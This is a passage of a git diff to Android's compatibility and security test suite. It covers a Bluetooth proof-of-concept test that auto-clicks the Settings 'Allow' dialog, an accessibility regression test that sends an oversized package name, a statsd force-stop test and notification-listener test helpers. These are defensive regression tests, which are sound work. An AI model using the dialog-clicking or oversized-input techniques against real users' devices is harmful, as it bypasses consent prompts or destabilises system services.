+                settingsIntent.resolveActivity(sContext.getPackageManager());
+        String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+                : sContext.getString(R.string.defaultSettingsPkg);
+        return pkgName;
+    }
+
+    private void switchBluetoothMode(String action) throws Exception {
+        // Start PocActivity to switch bluetooth mode
+        Intent intent = new Intent(sContext, PocActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        intent.putExtra(sContext.getString(R.string.btAction), action);
+        sContext.startActivity(intent);
+
+        // Wait until bluetooth mode switch is completed successfully
+        assumeTrue(mBroadcastReceived.tryAcquire(mResources.getInteger(R.integer.timeoutMs),
+                TimeUnit.MILLISECONDS));
+        assumeTrue(mErrorMessage,
+                mStatusCode != mResources.getInteger(R.integer.assumptionFailure));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
similarity index 64%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
rename to hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
index c81ea20..f1f1f24 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/src/android/security/cts/CVE_2022_20347/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/TestBluetoothDiscoverable/src/android/security/cts/TestBluetoothDiscoverable/PocActivity.java
@@ -14,22 +14,25 @@
  * limitations under the License.
  */
 
-package android.security.cts.CVE_2022_20347;
+package android.security.cts.TestBluetoothDiscoverable;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import android.app.Activity;
 import android.bluetooth.BluetoothAdapter;
 import android.bluetooth.BluetoothManager;
-import android.content.Context;
 import android.content.Intent;
-import android.content.SharedPreferences;
+import android.content.res.Resources;
 import android.os.Bundle;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.Until;
 
+import java.util.regex.Pattern;
+
 public class PocActivity extends Activity {
 
     int getInteger(int resId) {
@@ -41,29 +44,36 @@
         super.onCreate(savedInstanceState);
         try {
             String action = getIntent().getStringExtra(getString(R.string.btAction));
-            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-            BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
-            BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
             int code = getInteger(R.integer.enable);
             if (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)) {
                 code = getInteger(R.integer.disable);
             }
+            BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+            BluetoothAdapter bluetoothAdapter = bluetoothManager.getAdapter();
             if ((action.equals(BluetoothAdapter.ACTION_REQUEST_ENABLE)
                     && !bluetoothAdapter.isEnabled())
                     || (action.equals(BluetoothAdapter.ACTION_REQUEST_DISABLE)
                             && bluetoothAdapter.isEnabled())) {
                 Intent btIntent = new Intent(action);
                 startActivityForResult(btIntent, code);
-                // Wait for the activity to appear and the allow button
-                uiDevice.wait(Until.hasObject(By.res(getString(R.string.allowButtonResName))),
-                        getInteger(R.integer.timeoutMs));
-                // Click on the allow button
-                UiObject2 uiObject =
-                        uiDevice.findObject(By.res(getString(R.string.allowButtonResName)));
+
+                // Wait for the 'Allow' button
+                String settingsPackageName = DeviceTest.getSettingsPkgName();
+                Resources settingsRes =
+                        getPackageManager().getResourcesForApplication(settingsPackageName);
+                int resIdentifier = settingsRes.getIdentifier(getString(R.string.allowButtonResKey),
+                        getString(R.string.resType), settingsPackageName);
+                String allowButtonText = settingsRes.getString(resIdentifier);
+                Pattern textPattern = Pattern.compile(allowButtonText, Pattern.CASE_INSENSITIVE);
+                BySelector selector = By.text(textPattern);
+                UiDevice uiDevice = UiDevice.getInstance(getInstrumentation());
+                uiDevice.wait(Until.hasObject(selector), getInteger(R.integer.timeoutMs));
+
+                // Click on the 'Allow' button to enable bluetooth as required by test
+                UiObject2 uiObject = uiDevice.findObject(selector);
                 uiObject.click();
             } else {
                 sendTestResult(getInteger(R.integer.success), "");
-                finish();
             }
         } catch (Exception e) {
             sendTestResult(getInteger(R.integer.assumptionFailure), e.getMessage());
@@ -74,30 +84,25 @@
     protected void onActivityResult(int requestCode, int resultCode, Intent data) {
         try {
             if (requestCode == getInteger(R.integer.enable) && resultCode == Activity.RESULT_OK) {
-                finish();
                 sendTestResult(getInteger(R.integer.enable), "");
             } else if (requestCode == getInteger(R.integer.disable)
                     && resultCode == Activity.RESULT_OK) {
-                finish();
                 sendTestResult(getInteger(R.integer.disable), "");
             }
         } catch (Exception e) {
-            // ignore exception here
+            // Ignore exception here
         }
     }
 
     void sendTestResult(int result, String message) {
         try {
-            SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
-                    Context.MODE_PRIVATE);
-            if (sh != null) {
-                SharedPreferences.Editor edit = sh.edit();
-                edit.putInt(getString(R.string.resultKey), result);
-                edit.putString(getString(R.string.messageKey), message);
-                edit.commit();
-            }
+            Intent intent = new Intent(getString(R.string.broadcastAction));
+            intent.putExtra(getString(R.string.resultKey), result);
+            intent.putExtra(getString(R.string.messageKey), message);
+            sendBroadcast(intent);
+            finish();
         } catch (Exception e) {
-            // ignore exception here
+            // Ignore exception here
         }
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index a02c6a3..566dc08 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -115,6 +115,7 @@
             "com.android.cts.device.statsd.emptyapp";
     private static final String TEST_REMOTE_DIR = "/data/local/tmp/statsd";
     private static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+    private static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
 
     private static final int WAIT_TIME_FOR_CONFIG_UPDATE_MS = 200;
     private static final int EXTRA_WAIT_TIME_MS = 5_000; // as buffer when app starting/stopping.
@@ -1128,9 +1129,8 @@
         // Start test app.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
-            // Trigger a pull and wait for new pull before killing the process.
             Thread.sleep(WAIT_TIME_LONG);
-            // Trigger new pull.
+            // Trigger a pull and wait for new pull before killing the process.
             setAppBreadcrumbPredicate();
             Thread.sleep(WAIT_TIME_LONG);
         }
@@ -2113,18 +2113,48 @@
                 AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
 
         List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
-        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);  // False: does not use attribution.
+        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
         Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
 
         getDevice().executeShellCommand(String.format(
-            "am start -n '%s' -e %s %s",
-            "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
-            "action", ACTION_SHOW_APPLICATION_OVERLAY));
+                "am start -n '%s' -e %s %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+                "action", ACTION_SHOW_APPLICATION_OVERLAY));
         final int waitTime = EXTRA_WAIT_TIME_MS + 5_000; // Overlay may need to sit there a while.
         Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
 
         List<EventMetricData> data = getEventMetricDataList();
-        Function<Atom, Integer> appUsageStateFunction = atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
+        popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.s
+        assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
+    }
+
+    public void testAppForceStopUsageEvent() throws Exception {
+        Set<Integer> onStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
+        Set<Integer> offStates = new HashSet<>(Arrays.asList(
+                AppUsageEventOccurred.EventType.MOVE_TO_BACKGROUND_VALUE));
+
+        List<Set<Integer>> stateSet = Arrays.asList(onStates, offStates); // state sets, in order
+        createAndUploadConfig(Atom.APP_USAGE_EVENT_OCCURRED_FIELD_NUMBER, false);
+        Thread.sleep(WAIT_TIME_FOR_CONFIG_UPDATE_MS);
+
+        getDevice().executeShellCommand(String.format(
+                "am start -n '%s' -e %s %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity",
+                "action", ACTION_LONG_SLEEP_WHILE_TOP));
+        final int waitTime = EXTRA_WAIT_TIME_MS + 5_000;
+        Thread.sleep(waitTime);
+
+        getDevice().executeShellCommand(String.format(
+                "am force-stop %s",
+                "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity"));
+        Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
+
+        List<EventMetricData> data = getEventMetricDataList();
+        Function<Atom, Integer> appUsageStateFunction =
+                atom -> atom.getAppUsageEventOccurred().getEventType().getNumber();
         popUntilFind(data, onStates, appUsageStateFunction); // clear out initial appusage states.
         assertStatesOccurred(stateSet, data, 0, appUsageStateFunction);
     }
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 0e1ebb0..e7bf788 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -91,7 +91,7 @@
 }
 
 java_library {
-    name: "cts-install-lib",
+    name: "cts-install-lib-java",
     srcs: ["src/**/*.java"],
     static_libs: ["androidx.test.rules", "compatibility-device-util-axt", "truth-prebuilt"],
     sdk_version: "test_current",
@@ -110,3 +110,11 @@
         ":StagedInstallTestApexV3",
     ],
 }
+
+android_library {
+    name: "cts-install-lib",
+    manifest: "AndroidManifest.xml",
+    static_libs: [
+        "cts-install-lib-java",
+    ],
+}
diff --git a/libs/install/AndroidManifest.xml b/libs/install/AndroidManifest.xml
new file mode 100644
index 0000000..e9f5b7d
--- /dev/null
+++ b/libs/install/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.install.lib"
+          android:versionCode="1"
+          android:versionName="1.0">
+
+    <queries>
+        <package android:name="com.android.cts.install.lib.testapp.A"/>
+        <package android:name="com.android.cts.install.lib.testapp.B"/>
+        <package android:name="com.android.cts.install.lib.testapp.C"/>
+    </queries>
+
+    <uses-sdk android:minSdkVersion="8"/>
+</manifest>
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index cb77517..9bf34cf 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -47,6 +47,8 @@
             "TestAppASplitV1.apk", "TestAppASplitV1_anydpi.apk");
     public static final TestApp ASplit2 = new TestApp("ASplitV2", A, 2, /*isApex*/false,
             "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
+    public static final TestApp AIncompleteSplit = new TestApp("AIncompleteSplit", A, 1,
+            /*isApex*/false, "TestAppASplitV1_anydpi.apk");
 
     public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
             "TestAppBv1.apk");
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
index 0ec90cf..338a5b9 100644
--- a/libs/install/testapp/ACrashingV2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A v2" android:forceQueryable="true">
+    <application android:label="Test App A v2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
                   android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index 5b47699..e9714fc 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A1" android:forceQueryable="true">
+    <application android:label="Test App A1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
                   android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index 9f2c21a..fd8afa0 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A2" android:forceQueryable="true">
+    <application android:label="Test App A2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index d86aebd..a7839e3 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App A3" android:forceQueryable="true">
+    <application android:label="Test App A3">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index f990713..403e7e2 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App B1" android:forceQueryable="true">
+    <application android:label="Test App B1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
index 3bd7292..f030c3f 100644
--- a/libs/install/testapp/Bv2.xml
+++ b/libs/install/testapp/Bv2.xml
@@ -22,7 +22,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App B2" android:forceQueryable="true">
+    <application android:label="Test App B2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/libs/install/testapp/Cv1.xml b/libs/install/testapp/Cv1.xml
index 32f6989..edb69f9 100644
--- a/libs/install/testapp/Cv1.xml
+++ b/libs/install/testapp/Cv1.xml
@@ -23,7 +23,7 @@
 
     <uses-sdk android:minSdkVersion="19" />
 
-    <application android:label="Test App C1" android:forceQueryable="true">
+    <application android:label="Test App C1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
             android:exported="true" />
         <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 08e585c..ef96124 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -22,7 +22,6 @@
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
     </target_preparer>
-    <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer"/>
     <target_preparer class="com.android.tradefed.targetprep.PushFilePreparer">
         <option name="cleanup" value="true" />
         <option name="push-file" key="CtsAccessibilityMultipleServicesApp.apk"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
index 01d1659..7312c26 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityServiceInfoTest.java
@@ -16,18 +16,26 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.CtsTestUtils.assertThrows;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertSame;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.os.Parcel;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.Presubmit;
 import android.view.accessibility.AccessibilityEvent;
 
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import com.google.common.base.Strings;
+
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -37,7 +45,7 @@
  */
 @Presubmit
 @RunWith(AndroidJUnit4.class)
-public class AccessibilityServiceInfoTest {
+public class AccessibilityServiceInfoTest extends StsExtraBusinessLogicTestCase {
 
     @Rule
     public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
@@ -131,6 +139,22 @@
 
     }
 
+    @Test
+    @AsbSecurityTest(cveBugId = {261589597})
+    public void testSetServiceInfo_throwsForLargeServiceInfo() {
+        try {
+            final InstrumentedAccessibilityService service =
+                    InstrumentedAccessibilityService.enableService(
+                            InstrumentedAccessibilityService.class);
+            final AccessibilityServiceInfo info = service.getServiceInfo();
+            info.packageNames = new String[]{Strings.repeat("A", 1024 * 507)};
+
+            assertThrows(IllegalStateException.class, () -> service.setServiceInfo(info));
+        } finally {
+            InstrumentedAccessibilityService.disableAllServices();
+        }
+    }
+
     /**
      * Fully populates the {@link AccessibilityServiceInfo} to marshal.
      *
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index c6f0355..743fc55 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -35,6 +35,7 @@
     ],
     srcs: [
         "src/**/*.java",
+        "NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
         "app/src/android/app/stubs/RemoteActivity.java",
     ],
     // Tag this module as a cts test artifact
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index b7f0371..b12ee7e 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -29,6 +29,10 @@
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
         <uses-library android:name="org.apache.http.legacy" android:required="false" />
+
+        <service android:name=".InstrumentationHelperService"
+                android:exported="true"
+                android:process=":helper" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
@@ -57,4 +61,11 @@
                      android:targetProcesses="com.android.cts.launcherapps.simpleapp:other,com.android.cts.launcherapps.simpleapp">
     </instrumentation>
 
+    <instrumentation android:name=".ChainedInstrumentationFirst"
+            android:targetPackage="com.android.test.cantsavestate1" >
+    </instrumentation>
+
+    <instrumentation android:name=".ChainedInstrumentationSecond"
+            android:targetPackage="com.android.test.cantsavestate2" >
+    </instrumentation>
 </manifest>
diff --git a/tests/app/AndroidTest.xml b/tests/app/AndroidTest.xml
index 645d233..465b633 100644
--- a/tests/app/AndroidTest.xml
+++ b/tests/app/AndroidTest.xml
@@ -33,6 +33,8 @@
         <option name="test-file-name" value="CtsCantSaveState1.apk" />
         <option name="test-file-name" value="CtsCantSaveState2.apk" />
         <option name="test-file-name" value="NotificationDelegator.apk" />
+        <option name="test-file-name" value="NotificationProvider.apk" />
+        <option name="test-file-name" value="NotificationListener.apk" />
         <option name="test-file-name" value="StorageDelegator.apk" />
         <option name="test-file-name" value="CtsActivityManagerApi29.apk" />
     </target_preparer>
diff --git a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
index fec3c4d..1d59250 100644
--- a/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
+++ b/tests/app/DownloadManagerApi28Test/AndroidManifest.xml
@@ -23,6 +23,7 @@
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
index cb0b73b..c2424be 100644
--- a/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
+++ b/tests/app/DownloadManagerInstallerTest/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <uses-permission android:name="android.permission.INTERNET" />
     <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 
     <application android:usesCleartextTraffic="true"
                  android:networkSecurityConfig="@xml/network_security_config">
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
new file mode 100644
index 0000000..96a0c3c
--- /dev/null
+++ b/tests/app/NotificationListener/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NotificationListener",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+        "**/*.kt",
+        "src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+    platform_apis: true,
+    sdk_version: "test_current",
+}
diff --git a/tests/app/NotificationListener/AndroidManifest.xml b/tests/app/NotificationListener/AndroidManifest.xml
new file mode 100644
index 0000000..f510637
--- /dev/null
+++ b/tests/app/NotificationListener/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationlistener">
+    <application android:label="Notification Listener">
+
+        <service android:name=".NotificationUriAccessService"
+                 android:exported="true"/>
+
+        <service android:name=".TestNotificationListener"
+                 android:exported="true"
+                 android:label="TestNotificationListener"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService"/>
+            </intent-filter>
+        </service>
+
+    </application>
+</manifest>
diff --git a/tests/app/NotificationListener/res/layout/activity.xml b/tests/app/NotificationListener/res/layout/activity.xml
new file mode 100644
index 0000000..f001f29
--- /dev/null
+++ b/tests/app/NotificationListener/res/layout/activity.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="25dp"
+        android:textAppearance="?android:attr/textAppearanceLarge"
+        android:text="@string/activity_description"
+    />
+
+</LinearLayout>
diff --git a/tests/app/NotificationListener/res/values/strings.xml b/tests/app/NotificationListener/res/values/strings.xml
new file mode 100644
index 0000000..e19d5bf
--- /dev/null
+++ b/tests/app/NotificationListener/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<resources>
+    <string name="activity_description">This app has a listener and an service used for tests</string>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
similarity index 67%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
index 1a335c7..eb93179 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package android.security.cts.cve_2021_0642;
+package com.android.test.notificationlistener;
 
-import android.app.Activity;
-
-public class PocActivity extends Activity {
+interface INotificationUriAccessService {
+    void ensureNotificationListenerServiceConnected(boolean connected);
+    boolean isFileUriAccessible(in android.net.Uri uri);
 }
diff --git a/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
new file mode 100644
index 0000000..5e6e469
--- /dev/null
+++ b/tests/app/NotificationListener/src/com/android/test/notificationlistener/NotificationUriAccessService.kt
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.test.notificationlistener
+
+import android.app.NotificationManager
+import android.app.Service
+import android.content.Intent
+import android.net.Uri
+import android.os.IBinder
+import java.io.IOException
+
+class NotificationUriAccessService : Service() {
+    private inner class MyNotificationUriAccessService : INotificationUriAccessService.Stub() {
+        @Throws(IllegalStateException::class)
+        override fun ensureNotificationListenerServiceConnected(ensureConnected: Boolean) {
+            val nm = getSystemService(NotificationManager::class.java)!!
+            val testListener = TestNotificationListener.componentName
+            check(nm.isNotificationListenerAccessGranted(testListener) == ensureConnected) {
+                "$testListener has incorrect listener access; expected=$ensureConnected"
+            }
+            val listener = TestNotificationListener.instance
+            if (ensureConnected) {
+                check(listener != null) {
+                    "$testListener has not been created, but should be connected"
+                }
+            }
+            val isConnected = listener?.isConnected ?: false
+            check(isConnected == ensureConnected) {
+                "$testListener has incorrect listener connection state; expected=$ensureConnected"
+            }
+        }
+
+        override fun isFileUriAccessible(uri: Uri?): Boolean {
+            try {
+                contentResolver.openAssetFile(uri!!, "r", null).use { return true }
+            } catch (e: SecurityException) {
+                return false
+            } catch (e: IOException) {
+                throw IllegalStateException("Exception without security error", e)
+            }
+        }
+    }
+
